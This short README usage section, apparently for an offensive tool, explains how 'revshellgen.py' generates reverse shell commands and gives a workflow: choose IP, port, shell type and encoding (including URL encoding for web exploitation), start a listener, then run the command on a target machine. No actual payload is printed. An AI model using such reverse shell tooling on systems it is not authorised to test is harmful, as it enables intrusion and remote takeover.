💻 Usage

Basic Workflow

1. Start the tool

   root@kitploit:~

   python3 revshellgen.py
   

2. Configure your reverse shell

   • Select your IP address (auto-detected)
   • Choose a port (e.g., 4444, 9001)
   • Select shell type (bash, python, etc.)
   • Choose encoding (none, URL, Base64)

3. Generated command is automatically copied to clipboard

4. Start the listener (automatic)

5. Execute the command on the target machine

• Troubleshooting tips for common issues
• Quick reference commands

Encoding Options

• None - Raw command output
• URL Encode - For web application exploitation
